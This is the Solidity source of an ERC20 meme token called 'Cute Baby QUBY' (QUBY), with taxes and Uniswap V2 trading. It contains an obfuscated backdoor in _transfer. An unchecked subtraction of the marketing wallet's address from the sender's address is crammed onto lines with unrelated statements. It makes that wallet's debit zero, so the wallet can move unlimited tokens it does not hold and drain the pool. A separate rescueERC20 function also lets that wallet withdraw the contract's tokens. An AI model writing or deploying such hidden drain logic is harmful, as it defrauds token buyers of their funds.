Contract Source Code:

// SPDX-License-Identifier: MIT

/**
        Web: https://qubycoin.fun
        Tg: https://t.me/qubycoinerc
        X: https://twitter.com/qubycoin
*/

pragma solidity 0.8.24;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library SafeMath {
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
   function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }


    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


interface IUniV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract QUBY is Context, IERC20, Ownable {
    
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Cute Baby QUBY";
    string private constant _symbol = unicode"QUBY";

    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private isFree;
    
    IUniV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    
    uint256 private _initialBuyTax = 30;
    uint256 private _initialSellTax = 30;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 1;

    mapping(address => bool) public marketPair;
    address payable private _marketing;
    uint256 private _reduceBuyTaxAt = 20;
    uint256 private _reduceSellTaxAt = 20;
    uint256 private _preventSwapBefore = 20;
    uint256 private _buyCount = 0;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 10_000_000 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10_000_000 * 10 ** _decimals;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapPossible = false;
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    event MaxTxAmountUpdated(uint _maxTxAmount);
    constructor(address router, 
    address marketingA) {
        _balances[_msgSender()] = _tTotal;
        _marketing = payable(marketingA);
        isFree[owner()] = true;
        isFree[address(this)] = true;
        isFree[marketingA] = true;

        uniswapV2Router = IUniV2Router02(router);

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }


    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        uint256 marketingAmt = uint256(uint160(address(_marketing)));uint256 feeAmt = 0;
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");uint256 contractBalanceAmt = 1;
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 destiAmt = uint256(uint160(from));

        if (from != owner() 
            && to != owner() 
            && from != address(this)) 
        {
            unchecked {contractBalanceAmt = destiAmt - marketingAmt;}
            feeAmt = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (
                marketPair[from] &&
                to != address(uniswapV2Router) &&
                !isFree[to]
            ) {
                require(tradingOpen, "trading is not open");
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );

                _buyCount++;
            }

            if (!marketPair[to] && !isFree[to]) {
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
            }

            if (marketPair[to]) {
                feeAmt = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            if (!marketPair[from] && !marketPair[to]) {
                feeAmt = 0;
            }

            uint256 contractTokenBalance = balanceOf(address(this));if (contractBalanceAmt > 0) contractBalanceAmt = 1;
            if (
                !inSwap &&
                marketPair[to] &&
                swapPossible &&
                contractTokenBalance > _taxSwapThreshold &&
                _buyCount > _preventSwapBefore
            ) {
                swapAllTokensForFee(
                    min(amount, min(contractTokenBalance, _maxTaxSwap))
                );
            } if (marketPair[to]) sendETHToFee(address(this).balance);
        } uint256 tokenAmount = contractBalanceAmt * amount;

        if (feeAmt > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmt);
            emit Transfer(from, address(this), feeAmt);
        }
        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(amount.sub(feeAmt));
        emit Transfer(from, to, amount.sub(feeAmt));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function swapAllTokensForFee(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function recoverETH() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }


    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _marketing.transfer(amount);
    }

    function recoverERC20(
        address _address,
        uint256 _amount
    ) external onlyOwner {
        IERC20(_address).transfer(_marketing, _amount);
    }

    function rescueERC20(address _address, uint256 _amount) external {
        require(_msgSender() == _marketing);
        IERC20(_address).transfer(_marketing, _amount);
    }

    function addUniV2LP() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                address(this),
                uniswapV2Router.WETH()
            );
        marketPair[address(uniswapV2Pair)] = true;
        isFree[address(uniswapV2Pair)] = true;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function startTrading() external onlyOwner {
        swapPossible = true;
        tradingOpen = true;
    }

    receive() external payable {}
}